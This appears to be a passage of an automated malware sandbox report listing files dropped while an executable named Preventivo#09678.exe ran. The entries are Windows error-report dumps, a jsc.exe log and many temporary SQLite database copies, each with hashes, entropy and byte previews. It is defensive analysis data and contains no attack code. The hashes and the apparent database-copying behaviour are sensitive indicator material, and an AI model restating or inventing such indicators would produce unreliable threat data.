Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.9.8.0.1.4.5.3.6.2.9.2.2.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.9.8.0.1.4.6.0.9.7.2.9.9.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.3.4.4.c.9.9.d.-.f.a.f.4.-.4.6.2.c.-.8.4.6.b.-.e.2.0.8.0.a.1.d.8.1.8.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.7.6.7.0.2.d.6.-.d.d.0.c.-.4.b.1.3.-.8.5.7.d.-.5.f.3.1.9.8.a.3.6.6.0.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.P.r.e.v.e.n.t.i.v.o.#.0.9.6.7.8...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.K.o.s.t.a.n.a.y...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.3.e.4.-.0.0.0.1.-.0.0.1.4.-.b.4.3.c.-.1.7.a.6.d.4.3.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.4.a.a.9.a.f.6.a.2.3.5.3.7.6.b.1.4.8.6.c.5.4.5.b.b.c.f.4.9.2.e.0.0.0.0.0.0.0.0.!.0.0.0.0.e.b.0.9.e.3.4.e.3.5.e.0.6.d.4.f.e.e.5.f.0.1.b.f.5.7.1.2.4.a.8.0.c.0.e.6.1.9.1.7.!.P.r.e.v.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCF7B.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Wed Nov 13 14:02:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	519483
Entropy (8bit):	3.8174559297825557
Encrypted:	false
SSDEEP:	6144:LfwnwDmBbNcEKaDLrZcyc2mqL6PrhsEYNw3Q:IbyKWyc2mqePrhscQ
MD5:	94F7C3A4A8502BB3AC19E2004245097D
SHA1:	306A9F4D88F8E77F97B15C8BB39EE4350F6A4CBF
SHA-256:	CA4099FC04A6BC95A18DE19A416AC1EAE0722FBF0AC2F6C370A0B840216BE503
SHA-512:	27A48978E53018FC961ED037065DB45F8B0091BC006A954CF4F3599785D5D451D9413ECA4E0DB36E5C2C19E033EF2481D3CEB39C5FAE5CE2255303736A8EED4C
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......q.4g....................................$...........t ...........k...~..........l.......8...........T............-..+...........h@..........TB..............................................................................eJ.......B......Lw......................T...........i.4g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD141.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	9096
Entropy (8bit):	3.7091634559409643
Encrypted:	false
SSDEEP:	192:R6l7wVeJCMX8be6YN1BRIhgmfZgV6pr789bc+qfNRUm:R6lXJhB6Y/BR+gmfa5cLfN3
MD5:	F205B6992106391AAD72DEEAFDD9EE9C
SHA1:	5B471A94EB6A83017EED8D0AA4BE4A6A6619412C
SHA-256:	5F247E74AF5AE7395DD5E57BEADFC5A6F10700BD26CFBF886FA367E3F8DBA9E8
SHA-512:	C1161ED2F09261AE74210046A06221DC6BC7708D1B62F771001E3D8DFB6E1DBF01F7E6663EBF817E92892C5370FF38B06FD2D115F3E88D1071410E4F6006BC06
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.0.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD180.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4847
Entropy (8bit):	4.512413835536363
Encrypted:	false
SSDEEP:	48:cvIwWl8zsnJg771I9e4yWpW8VYNRkYm8M4JwN/E6FH1oyq8vN/E36n7Wd:uIjfJI7Rg7VARJweCoWe36n7Wd
MD5:	19750C0D202B1784674A2635C2A9CAC7
SHA1:	78802216BA6E5A74DFC7C2EBB5307CDB1D578516
SHA-256:	FE639165CA5630D024E87FB24E71CA9284D27C758610D50F63A2D3627549DCF1
SHA-512:	3840CDE48DA253EC39A3DFFF88FA7DB6C0CDF0E51620B0C85DB33BF21BA28AA70EA8AC35CB266D08C7A56DF5B7F5273B8EF38DB50DF2E39B0CFE47D843B7DE9E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="586385" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jsc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHpHt1qHxLHjH4:vq5qxqdqolqztYqh3oPtI6mq7qoT5JNV
MD5:	90757169D333CB9247B01FB0CAF14023
SHA1:	C47A0AA0CBC960527EA4FA7F61AC1D08B56C23A5
SHA-256:	C04472992BF7CF58327D947D334F1105C14C5CF0D2DD0DF7E7873CAADE0EC61D
SHA-512:	A49B90272EC353DE49C508AF75C509D14A18EA50ABD1CD49BF5313A708CB9654A543E3340C74978B5756A66EF291132E93931853CAD7CC8C85450BB64A318031
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp47F8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4809.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4829.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp482A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp483B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp483C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp484C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp485D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp485E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp486E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7FFA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp800B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp802B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp803C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp805C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp806D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB77B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpB78C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
